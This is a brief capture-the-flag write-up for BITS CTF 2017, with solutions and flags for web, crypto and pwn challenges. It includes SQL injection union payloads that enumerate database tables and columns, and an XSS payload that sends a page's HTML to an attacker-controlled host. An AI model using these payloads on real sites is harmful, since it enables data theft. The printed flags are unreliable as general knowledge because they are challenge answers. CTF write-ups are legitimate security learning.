BITS CTF 2017 WriteUp

I participated BITS CTF a little.
I solved this problems

Web

[10] BotBot
[30] Batman vs Joker
[60] Message to the Admin

Crypt

[60] Sherlock

Pwn

[20] Command_Line
[30] Random Game

[10] BotBot

Access to http://botbot.bitsctf.bits-quark.org, and see source.


<!-- Nothing to see here. Maybe try looking up seo .txt -->

So, see robots.txt .

Useragent *
Disallow: /fl4g

flag is in /fl4g.

BITCTF{take_a_look_at_googles_robots_txt}

[30] Batman vs Joker

You’ll find SQLi.

' order by 2; -- # is ok,
' order by 3; -- # is bad.
So there are 2 columns.

With this query, you can get All table names. And Joker table will be there.
' union select 'A',concat(table_name, ',') from information_schema.tables; -- #

Next, Let’s get a column name of Joker

'union select 'A', column_name from information_schema.columns where table_name = 'Joker'; -- #

There are Flag, HaHaHa.
And flag is there.

BITSCTF{wh4t_d03snt_k1ll_y0u_s1mply_m4k3s_y0u_str4ng3r!}

[60] Message to the Admin

Send this payload.
"><script>document.location.href='http://<yours>/?'+document.body.innerHTML </script>
And you’ll get flag with HTML body.

BITSCTF{hsr_1s_n0t_cr3ative}

[60] Sherlock

Just do it.
Parse with this script.

BITSCTF{h1d3_1n_pl41n_5173}

[20] Command_Line

A x64 binary is given.
Just do it.

BITSCTF{b451c_57r416h7_f0rw4rd_5h3llc0d1n6}

[30] Random Game

A x64 binary is given.
Win a 30 times in number game. seed is a value of time(), and we should answer 30 times correctly.
The value we should answer generates with rand() & 15.

The flag is :
BITSCTF{54m3_533d_54m3_53qu3nc3}

Web